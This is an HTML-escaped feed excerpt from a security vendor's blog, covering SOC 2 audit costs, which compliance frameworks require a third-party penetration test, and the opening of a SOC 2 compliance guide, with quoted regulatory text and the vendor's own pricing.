&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Line item&lt;/th&gt;&lt;th&gt;Who bills you&lt;/th&gt;&lt;th&gt;2026 range&lt;/th&gt;&lt;th&gt;What moves it&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;The examination&lt;/td&gt;&lt;td&gt;An independent CPA firm&lt;/td&gt;&lt;td&gt;$7,000 to $50,000&lt;/td&gt;&lt;td&gt;Criteria count, window length, products, carve-outs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Compliance platform&lt;/td&gt;&lt;td&gt;A software vendor&lt;/td&gt;&lt;td&gt;$0 to $25,000 a year&lt;/td&gt;&lt;td&gt;Headcount, framework count, integrations&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Penetration test&lt;/td&gt;&lt;td&gt;A security firm&lt;/td&gt;&lt;td&gt;$4,000 to $25,000&lt;/td&gt;&lt;td&gt;Surface, whether it is human-led, retest policy&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;only-one-of-the-three-requires-a-licence&quot;&gt;Only one of the three requires a licence&lt;/h3&gt;
&lt;p&gt;Only the examination requires a CPA. That matters, because it is the line you
cannot compete away, and it is the line every platform in this market would
prefer you not think about separately. The engagement runs under the AICPA’s
attestation standards, and independence is the reason the market is split this
way at all:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An attestation engagement requires the practitioner to be independent of the
responsible party.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The firm signing the opinion cannot also sell you the software it is opining on
or fix the controls it is testing. That is why nobody can honestly sell you an
end-to-end SOC 2 with the audit inside it, and why the
&lt;a href=&quot;https://www.aicpa-cima.com/resources/landing/system-and-organization-controls-soc-suite-of-services&quot;&gt;SOC suite of services&lt;/a&gt;
is structured around a report rather than a certificate.&lt;/p&gt;
&lt;h3 id=&quot;they-also-arrive-on-different-clocks&quot;&gt;They also arrive on different clocks&lt;/h3&gt;
&lt;p&gt;The platform bills monthly from the day you start, the pentest bills once per
engagement, and the CPA bills around fieldwork, which is months later. A budget
built from one blended number tends to break in the second quarter.&lt;/p&gt;
&lt;h2 id=&quot;what-actually-sets-the-cpas-floor&quot;&gt;What actually sets the CPA’s floor&lt;/h2&gt;
&lt;p&gt;The examination fee is hours multiplied by a rate, and the hours are less
elastic than founders expect. A Security-only Type 2 on one product, with
evidence already collected and mapped, is still real work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Planning, risk assessment, and agreeing the system boundary&lt;/li&gt;
&lt;li&gt;Walkthroughs of each control with the person who operates it&lt;/li&gt;
&lt;li&gt;Sample selection and testing across the observation window&lt;/li&gt;
&lt;li&gt;Partner review, then an independent quality review of the file&lt;/li&gt;
&lt;li&gt;Drafting the report, including management’s assertion&lt;/li&gt;
&lt;li&gt;The firm’s overhead: licensure, peer review, liability insurance&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-fixed-costs-nobody-counts&quot;&gt;The fixed costs nobody counts&lt;/h3&gt;
&lt;p&gt;That last line is the one nobody counts. Only a firm licensed by a state board
of accountancy may issue the report, under
&lt;a href=&quot;https://nasba.org/licensure/&quot;&gt;NASBA and state licensure rules&lt;/a&gt;, and an
AICPA-member firm must also submit its practice to outside inspection:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Firms are required to have a peer review of their accounting and auditing
practice once every three years.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That review, the licence and the professional liability cover are all amortised
across a small number of engagements a year. It is a fixed cost per client that
does not shrink when your company is tiny, and it is why the
&lt;a href=&quot;https://peerreview.aicpa.org/public_file_search.html&quot;&gt;peer review public file&lt;/a&gt;
is worth checking before you hire anyone: a firm with no record in it is not
doing the work you think you are buying.&lt;/p&gt;
&lt;p&gt;Which is why the honest floor for a real examination sits in the low four
figures rather than the low three. A firm that is not covering those costs is
either subsidising you from another service line or is not doing the work.&lt;/p&gt;
&lt;h2 id=&quot;why-the-published-ranges-run-high&quot;&gt;Why the published ranges run high&lt;/h2&gt;
&lt;h3 id=&quot;look-at-who-wrote-the-number&quot;&gt;Look at who wrote the number&lt;/h3&gt;
&lt;p&gt;Search “SOC 2 audit cost” and the consensus is $30,000 to $50,000. Look at who
wrote those pages.&lt;/p&gt;
&lt;p&gt;Most top results belong to compliance platforms. A large audit number makes a
subscription look like a rounding error, so there is no incentive to report the
bottom of the market. The rest are directories, and one prominent “data from 171
firms” resource labels its own figures directional estimates while selling
sponsored placement to the firms it ranks. Neither is lying exactly. Neither is
a price list.&lt;/p&gt;
&lt;h3 id=&quot;the-floor-is-not-the-average&quot;&gt;The floor is not the average&lt;/h3&gt;
&lt;p&gt;The countervailing evidence is public if you look for it. One US CPA firm now
publishes an interactive audit-fee estimator whose default for a team of one to
five is a &lt;strong&gt;$4,000 year-one total&lt;/strong&gt;, and its own marketing charts the collapse
from $80,000 in 2011 to a few thousand in 2026. That number is not the market
average. It is proof that the market average is not the market floor.&lt;/p&gt;
&lt;h2 id=&quot;the-five-levers-that-actually-cut-the-fee&quot;&gt;The five levers that actually cut the fee&lt;/h2&gt;
&lt;p&gt;Scope is the entire game, and only some of it is yours to move.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Trust criteria.&lt;/strong&gt; Security is the only category almost every buyer
actually asks for, and it is 33 of the
&lt;a href=&quot;https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022&quot;&gt;Trust Services Criteria&lt;/a&gt;. Availability adds a
handful, Confidentiality a couple. Adding all five can double the fieldwork
for a report nobody asked for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The observation window.&lt;/strong&gt; Three months is the shortest credible Type 2
window. Worth knowing before you negotiate: sample sizes are driven by how
often a control runs, not by how long the window is, so six months is
usually a modest increase in hours rather than double.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;One product, one cloud account.&lt;/strong&gt; A second product is a second system
boundary and often the largest single jump in a quote.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Carve out your subservice organisations.&lt;/strong&gt; The carve-out method excludes
your cloud provider’s own controls from your report and leans on their SOC 2
instead. The inclusive method drags them into your scope. Carve out.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arrive auditable.&lt;/strong&gt; Evidence collected, mapped to criteria, populations
pulled from source systems, and the system description written before
fieldwork opens. This is the only lever that cuts hours without cutting
scope, and it is the one a platform is actually for.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What does not work is asking the auditor to test less. That is the one thing a
CPA cannot sell you.&lt;/p&gt;
&lt;h2 id=&quot;what-soc-2-certification-cost-means&quot;&gt;What “SOC 2 certification cost” means&lt;/h2&gt;
&lt;p&gt;Nothing, strictly. &lt;strong&gt;There is no SOC 2 certification.&lt;/strong&gt; SOC 2 is an
attestation report in which a licensed CPA firm expresses an opinion, under
the AICPA’s attestation standards. No body certifies you, no logo is awarded,
and no registry lists you. Our
&lt;a href=&quot;https://hackzero.ai/learn/soc-2-compliance&quot;&gt;SOC 2 compliance guide&lt;/a&gt; covers why the distinction
keeps mattering in procurement.&lt;/p&gt;
&lt;p&gt;So when a search says certification cost, it means the audit fee plus
everything it took to become auditable. That is the number this page is
about, and it is the number you should ask any vendor for.&lt;/p&gt;
&lt;h2 id=&quot;what-year-two-costs&quot;&gt;What year two costs&lt;/h2&gt;
&lt;h3 id=&quot;the-prep-collapses-the-examination-does-not&quot;&gt;The prep collapses, the examination does not&lt;/h3&gt;
&lt;p&gt;Cheaper, and less cheaper than you would hope.&lt;/p&gt;
&lt;p&gt;The prep genuinely collapses: the control set exists, the evidence pipes are
connected, and the system description needs an edit rather than an author. But
the examination repeats in full. New window, fresh samples, fresh report,
fresh partner and quality review. Plan on 70 to 90 percent of the first audit
fee, every year, plus the platform, plus continued testing.&lt;/p&gt;
&lt;h2 id=&quot;the-cheap-tier-and-how-to-tell-it-apart&quot;&gt;The cheap tier, and how to tell it apart&lt;/h2&gt;
&lt;p&gt;A low number is not automatically a bad one. A bundled low number usually is.
Run the arithmetic. An auditor billing $150 an hour who sells one fee near
$2,500 covering &lt;strong&gt;both&lt;/strong&gt; the audit and the penetration test has roughly 16
hours for the pair. Sixteen hours cannot produce a tested opinion and a real
test, which is why that tier’s reports converge on templated no-exception
findings. The 2026 audit-mill scandal, 533 near-identical reports across 455
companies, is why enterprise reviewers now read the methodology page before
the findings.&lt;/p&gt;
&lt;p&gt;The same headline number is a different product when the testing was bought
separately: the test runs all year on its own subscription, evidence arrives
pre-mapped, and every CPA hour goes to the audit. That is how an attestation
prices low without becoming a mill, and why we will not sell a bundle with the
opinion inside it. See
&lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;does SOC 2 require a penetration test&lt;/a&gt;
for the timing rule that trips first-time buyers, and
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;penetration testing cost&lt;/a&gt; for where day rates
come from.&lt;/p&gt;
&lt;h2 id=&quot;our-numbers-in-the-open&quot;&gt;Our numbers, in the open&lt;/h2&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Under 10 people&lt;/th&gt;&lt;th&gt;10 people or more&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Platform, controls, monthly pentest&lt;/td&gt;&lt;td&gt;$299/mo, or $2,990/yr&lt;/td&gt;&lt;td&gt;$499/mo, or $4,990/yr&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CPA attestation, paid direct to the firm&lt;/td&gt;&lt;td&gt;from $2,500&lt;/td&gt;&lt;td&gt;from $2,500&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;First year, all in&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;$6,088&lt;/strong&gt;, or $5,490 annually&lt;/td&gt;&lt;td&gt;&lt;strong&gt;$8,488&lt;/strong&gt;, or $7,490 annually&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Human-led pentest, if you want one&lt;/td&gt;&lt;td&gt;$2,999 per engagement&lt;/td&gt;&lt;td&gt;$2,999 per engagement&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;why-the-attestation-is-not-billed-through-us&quot;&gt;Why the attestation is not billed through us&lt;/h3&gt;
&lt;p&gt;Two things to notice. The attestation is paid &lt;strong&gt;directly to the independent
CPA firm&lt;/strong&gt;, never through us, because a fee moving between the platform and
the auditor is exactly what compromises the independence the report depends
on. And the monthly penetration test is inside the subscription, not an
add-on, which is the line item the cheapest platform-plus-captive-auditor
offers leave out entirely.&lt;/p&gt;
&lt;p&gt;Against the traditional stack of a platform, a pentest firm and a CPA, the same
first year runs $30,000 to $45,000. Our &lt;a href=&quot;https://hackzero.ai/soc2&quot;&gt;SOC 2 offer&lt;/a&gt; explains what we
hand the auditor and what stays their call, and a &lt;a href=&quot;https://hackzero.ai/book&quot;&gt;20-minute call&lt;/a&gt; will
settle an unusual situation faster than a quote form.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item><item><title>Which frameworks require a third-party penetration test?</title><link>https://hackzero.ai/learn/which-frameworks-require-third-party-penetration-test</link><guid isPermaLink="true">https://hackzero.ai/learn/which-frameworks-require-third-party-penetration-test</guid><description>Only FedRAMP, CSA STAR and DORA truly require an outside tester. SOC 2 and ISO 27001 require none at all. The control text for each, quoted.</description><pubDate>Sat, 08 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;which-frameworks-require-a-third-party-penetration-test&quot;&gt;Which frameworks require a third-party penetration test?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Three do: FedRAMP, the CSA Cloud Controls Matrix, and DORA.&lt;/strong&gt; PCI DSS and
NYDFS require a penetration test but explicitly accept an internal tester.
SOC 2 and ISO 27001 require no penetration test at all. Almost every vendor
page you will read on this gets it wrong in the same direction.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/third-party-pentest-matrix.svg&quot; alt=&quot;Matrix showing eight compliance frameworks sorted by whether they require a penetration test and whether the tester must be external, with FedRAMP, CSA STAR and DORA in the third-party column&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-matrix&quot;&gt;the matrix&lt;/a&gt; ·
&lt;a href=&quot;#the-three-that-actually-require-an-outside-tester&quot;&gt;the three that mean it&lt;/a&gt; ·
&lt;a href=&quot;#required-but-not-external&quot;&gt;required but not external&lt;/a&gt; ·
&lt;a href=&quot;#the-ones-that-do-not-require-a-test-at-all&quot;&gt;not required at all&lt;/a&gt; ·
&lt;a href=&quot;#independence-is-the-real-constraint&quot;&gt;independence&lt;/a&gt; ·
&lt;a href=&quot;#what-is-changing&quot;&gt;what is changing&lt;/a&gt; · &lt;a href=&quot;#what-to-do-with-this&quot;&gt;what to do&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-matrix&quot;&gt;The matrix&lt;/h2&gt;
&lt;p&gt;Read “requires a pentest” and “must the tester be external” as two separate
questions. Almost all of the confusion in this market comes from collapsing them
into one.&lt;/p&gt;

































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Framework&lt;/th&gt;&lt;th&gt;Requires a pentest?&lt;/th&gt;&lt;th&gt;Must the tester be external?&lt;/th&gt;&lt;th&gt;Interval&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;FedRAMP (Moderate, High)&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Yes&lt;/strong&gt;, a recognized 3PAO&lt;/td&gt;&lt;td&gt;Initial, then every 12 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CSA CCM v4 / STAR&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Yes&lt;/strong&gt;, “independent third parties&quot;&lt;/td&gt;&lt;td&gt;&quot;Periodic”, undefined&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DORA (EU financial)&lt;/td&gt;&lt;td&gt;Yes, threat-led&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Effectively&lt;/strong&gt;, internal needs regulator approval&lt;/td&gt;&lt;td&gt;At least every 3 years&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PCI DSS 4.0.1&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No, internal allowed if independent&lt;/td&gt;&lt;td&gt;Annually and after significant change&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NYDFS Part 500&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No, “internal or external”&lt;/td&gt;&lt;td&gt;At least annually&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NIST SP 800-53 / FISMA&lt;/td&gt;&lt;td&gt;Yes (CA-8)&lt;/td&gt;&lt;td&gt;Only if CA-8(1) is selected&lt;/td&gt;&lt;td&gt;Organization-defined&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SOC 2 (AICPA TSC)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;n/a&lt;/td&gt;&lt;td&gt;n/a&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ISO/IEC 27001:2022&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;n/a&lt;/td&gt;&lt;td&gt;n/a&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GDPR Article 32&lt;/td&gt;&lt;td&gt;No, “testing” only&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;”Regularly”&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;the-three-that-actually-require-an-outside-tester&quot;&gt;The three that actually require an outside tester&lt;/h2&gt;
&lt;h3 id=&quot;fedramp-is-the-strictest-and-says-so-plainly&quot;&gt;FedRAMP is the strictest, and says so plainly&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.fedramp.gov/resources/documents/CSP_Penetration_Test_Guidance.pdf&quot;&gt;FedRAMP Penetration Test
Guidance&lt;/a&gt;
sets the schedule in Section 7.0:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For each initial security authorization, a penetration test must be completed
by a 3PAO as a part of the assessment process described in the SAP. This
initial penetration test must be performed no more than 6 months prior to the
submission of the SAR. Once within the continuous monitoring phase of the
FedRAMP process, additional penetration testing activities must be performed
at least every 12 months.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Section 8.0 adds that all penetration test activities must be performed by a
3PAO with demonstrated proficiency and a defined methodology, and that the team
lead must hold an industry-recognized penetration testing credential. There is
one nuance worth knowing before you buy: a FedRAMP-recognized 3PAO is required
for systems with a JAB provisional authorization, while for an Agency
authorization the guidance says this “may refer to any assessment organization
designated by the agency AO.”&lt;/p&gt;
&lt;h3 id=&quot;csa-star-inherits-it-from-one-ccm-control&quot;&gt;CSA STAR inherits it from one CCM control&lt;/h3&gt;
&lt;p&gt;The Cloud Controls Matrix is the control set behind the &lt;a href=&quot;https://cloudsecurityalliance.org/research/cloud-controls-matrix&quot;&gt;CSA STAR
registry&lt;/a&gt;, and
control TVM-06 in &lt;a href=&quot;https://csf.tools/reference/cloud-controls-matrix/v4-0/tvm/tvm-06/&quot;&gt;CCM
v4.0&lt;/a&gt; is
unambiguous about who tests:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Define, implement and evaluate processes, procedures and technical measures
for the periodic performance of penetration testing by independent third
parties.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Note what is missing: an interval. “Periodic” is doing a lot of work, and in
practice the assessor decides whether your cadence is defensible against your
own risk profile.&lt;/p&gt;
&lt;h3 id=&quot;dora-requires-it-then-makes-internal-testing-hard-on-purpose&quot;&gt;DORA requires it, then makes internal testing hard on purpose&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32022R2554&quot;&gt;Regulation (EU)
2022/2554&lt;/a&gt;
requires in-scope financial entities to “carry out at least every 3 years
advanced testing by means of TLPT” on live production systems. Article 27 is
where externality bites. Internal testers are permitted only where the
competent authority has approved their use, has verified that conflicts of
interest are avoided, and where “the threat intelligence provider is external
to the financial entity.” That is a third-party requirement written as a
conditional.&lt;/p&gt;
&lt;h2 id=&quot;required-but-not-external&quot;&gt;Required but not external&lt;/h2&gt;
&lt;h3 id=&quot;pci-dss-names-the-testers-qualities-not-their-employer&quot;&gt;PCI DSS names the tester’s qualities, not their employer&lt;/h3&gt;
&lt;p&gt;Requirement 11.4 asks for a tester qualified by experience or training with
organizational independence from the systems being tested. The parenthetical&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(not required to be a QSA or ASV)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;appears repeatedly through Requirement 11.4 and the SAQs. A qualified internal
resource is explicitly acceptable. The &lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;full requirement breakdown is
here&lt;/a&gt;, including the retest
clause in 11.4.4 that most firms bill separately at 10% to 25% of the original
fee.&lt;/p&gt;
&lt;h3 id=&quot;nydfs-spells-out-both-options-in-one-sentence&quot;&gt;NYDFS spells out both options in one sentence&lt;/h3&gt;
&lt;p&gt;The 2023 amendment to &lt;a href=&quot;https://www.dfs.ny.gov/system/files/documents/2023/10/rf_fs_2amend23NYCRR500_text_20231101.pdf&quot;&gt;23 NYCRR Part
500&lt;/a&gt;
retitled Section 500.5 as vulnerability management and requires covered
entities to conduct&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;penetration testing of their information systems from both inside and
outside the information systems’ boundaries by a qualified internal or
external party at least annually&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two directions of testing, one annual interval, either kind of tester. Anyone
telling a New York covered entity that Part 500 forces them to hire an outside
firm has not read the clause.&lt;/p&gt;
&lt;h3 id=&quot;nist-makes-independence-an-optional-enhancement&quot;&gt;NIST makes independence an optional enhancement&lt;/h3&gt;
&lt;p&gt;This one surprises people, because FISMA and FedRAMP both build on it. The base
control CA-8 in NIST SP 800-53 Rev 5 says only to conduct penetration testing
at an organization-defined frequency, and its discussion states that testing
“can be conducted internally or externally” and that “risk assessments guide the
decisions on the level of independence required.” Externality arrives only when
the CA-8(1) enhancement is selected on top:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Employ an independent penetration testing agent or team to perform
penetration testing on the system or system components.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;the-ones-that-do-not-require-a-test-at-all&quot;&gt;The ones that do not require a test at all&lt;/h2&gt;
&lt;p&gt;SOC 2 and ISO 27001 are the two most requested frameworks in startup
procurement and neither one requires a penetration test. We have written the
long version for both: &lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;SOC 2 never names
it&lt;/a&gt;, and &lt;a href=&quot;https://hackzero.ai/learn/iso-27001-penetration-testing&quot;&gt;ISO 27001 never names it
either&lt;/a&gt;, though A.8.8 and A.8.29 make a
test the cheapest defensible evidence.&lt;/p&gt;
&lt;p&gt;GDPR belongs in this group too. &lt;a href=&quot;https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016R0679&quot;&gt;Article
32(1)(d)&lt;/a&gt;
requires “a process for regularly testing, assessing and evaluating the
effectiveness of technical and organisational measures” and stops there. No
method, no tester, no interval.&lt;/p&gt;
&lt;p&gt;The current HIPAA Security Rule is the same shape. The Evaluation standard at
&lt;a href=&quot;https://www.ecfr.gov/current/title-45/section-164.308&quot;&gt;45 CFR 164.308(a)(8)&lt;/a&gt;
asks a covered entity to “perform a periodic technical and nontechnical
evaluation” and never mentions penetration testing.&lt;/p&gt;
&lt;h2 id=&quot;independence-is-the-real-constraint&quot;&gt;Independence is the real constraint&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/tester-independence-ladder.svg&quot; alt=&quot;Ladder diagram showing four levels of tester independence from self-assessment by the build team through an independent internal team to an external firm and finally an accredited assessor&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once you stop asking “is an outside test required” and start asking “is this
tester independent of what they built”, most of the matrix collapses into one
practical rule. NIST defines the bar as freedom “from perceived or actual
conflicts of interest with respect to the development, operation, or management
of the systems that are the targets of the penetration testing.”&lt;/p&gt;
&lt;p&gt;Perceived is the operative word. Your platform lead may be the most rigorous
tester in the building, and an assessor can still discount the evidence because
a reasonable reader could suspect otherwise. At ten engineers, there is
generally no internal resource who satisfies that test, which is why the
internal option that PCI and NYDFS allow on paper is unavailable to most
startups in practice.&lt;/p&gt;
&lt;h3 id=&quot;what-each-rung-costs&quot;&gt;What each rung costs&lt;/h3&gt;
&lt;p&gt;The bands below are market prices for a single web application, taken from our
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;penetration testing cost breakdown&lt;/a&gt;. The point
of the table is that rung 2 is the expensive one, even though it looks free.&lt;/p&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Rung&lt;/th&gt;&lt;th&gt;Who tests&lt;/th&gt;&lt;th&gt;What it costs&lt;/th&gt;&lt;th&gt;What it unlocks&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;The team that built it&lt;/td&gt;&lt;td&gt;engineering time only&lt;/td&gt;&lt;td&gt;nothing that names independence&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;A separate internal team&lt;/td&gt;&lt;td&gt;a dedicated headcount, the largest number here&lt;/td&gt;&lt;td&gt;PCI 11.4, NYDFS 500.5, CA-8(1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;An external boutique firm&lt;/td&gt;&lt;td&gt;$5,000 to $30,000 per engagement&lt;/td&gt;&lt;td&gt;adds CSA CCM TVM-06 and DORA&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;HackZero, continuous&lt;/td&gt;&lt;td&gt;$299 or $499 a month, plus $2,999 per human-validated engagement&lt;/td&gt;&lt;td&gt;the same as any external firm&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;An accredited or recognized assessor&lt;/td&gt;&lt;td&gt;quoted per system; the pentest is one line inside a larger assessment&lt;/td&gt;&lt;td&gt;adds FedRAMP Moderate and High&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;what-is-changing&quot;&gt;What is changing&lt;/h2&gt;
&lt;p&gt;Two moves are worth watching, because both push in the same direction.&lt;/p&gt;
&lt;p&gt;HHS proposed a rewritten HIPAA Security Rule in January 2025 that would require
&lt;a href=&quot;https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/factsheet/index.html&quot;&gt;vulnerability scanning every six months and penetration testing at least once
every 12
months&lt;/a&gt;,
turning the framework in the “not required” column into one in the “required”
column. It does not, as proposed, require an outside tester.&lt;/p&gt;
&lt;p&gt;DORA’s TLPT regime has been live since January 2025, and it is the first major
regime to write externality as a default with internal testing as a supervised
exception rather than the reverse.&lt;/p&gt;
&lt;h2 id=&quot;what-to-do-with-this&quot;&gt;What to do with this&lt;/h2&gt;
&lt;p&gt;Pick the strictest framework you are genuinely in scope for and test once to
that bar. Coverage and independence both flow downhill: a test that satisfies
FedRAMP’s mandatory attack vectors satisfies PCI Requirement 11.4 and any SOC 2
control you wrote about testing. Running one engagement per framework is how
companies end up paying three times for evidence a single well-scoped test
would have produced, and the &lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;cost breakdown for a single
engagement&lt;/a&gt; shows what each duplicate is worth.&lt;/p&gt;
&lt;p&gt;Then check what your buyer wants, because it is usually stricter than your
framework. A report from your own team clears an auditor and stalls in a
security questionnaire, and the &lt;a href=&quot;https://hackzero.ai/learn/soc-2-cost&quot;&gt;real cost of a compliance
program&lt;/a&gt; is mostly determined by which of those two
audiences you were optimising for.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item><item><title>SOC 2 compliance: what it is, what it costs, how long it takes</title><link>https://hackzero.ai/learn/soc-2-compliance</link><guid isPermaLink="true">https://hackzero.ai/learn/soc-2-compliance</guid><description>SOC 2 compliance is not a certification. What the report actually is, who can issue it, the five categories, real 2026 costs, and how long it takes.</description><pubDate>Thu, 06 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;soc-2-compliance-what-it-is-what-it-costs-how-long-it-takes&quot;&gt;SOC 2 compliance: what it is, what it costs, how long it takes&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;There is no such thing as being SOC 2 certified.&lt;/strong&gt; SOC 2 produces a report
in which a licensed CPA firm gives an opinion on your controls. No software
vendor can grant it, including us. What a platform can do is remove the
evidence work, which is where nearly all of the cost and the calendar time
actually sits.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/soc2-compliance-anatomy.svg&quot; alt=&quot;Diagram of what SOC 2 compliance consists of: your controls, the evidence that they operated, and a licensed CPA firm&amp;#x27;s opinion, with the note that only the CPA can issue the report&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#what-soc-2-compliance-actually-is&quot;&gt;what it actually is&lt;/a&gt; ·
&lt;a href=&quot;#type-1-or-type-2&quot;&gt;Type 1 or Type 2&lt;/a&gt; ·
&lt;a href=&quot;#the-five-categories-and-why-you-need-one&quot;&gt;the five categories&lt;/a&gt; ·
&lt;a href=&quot;#what-the-auditor-actually-examines&quot;&gt;what gets examined&lt;/a&gt; ·
&lt;a href=&quot;#what-soc-2-compliance-costs-in-2026&quot;&gt;cost&lt;/a&gt; ·
&lt;a href=&quot;#how-long-it-takes&quot;&gt;timeline&lt;/a&gt; ·
&lt;a href=&quot;#what-a-platform-can-and-cannot-do&quot;&gt;what a platform can and cannot do&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-soc-2-compliance-actually-is&quot;&gt;What SOC 2 compliance actually is&lt;/h2&gt;
&lt;p&gt;SOC 2 is an attestation engagement performed under the AICPA’s attestation
standards. A CPA firm examines the controls at a service organization against
the &lt;a href=&quot;https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022&quot;&gt;Trust Services Criteria&lt;/a&gt;
and issues a report containing its opinion. The
&lt;a href=&quot;https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/socforserviceorganizations&quot;&gt;AICPA’s own SOC materials&lt;/a&gt;
describe the output as a report throughout.&lt;/p&gt;
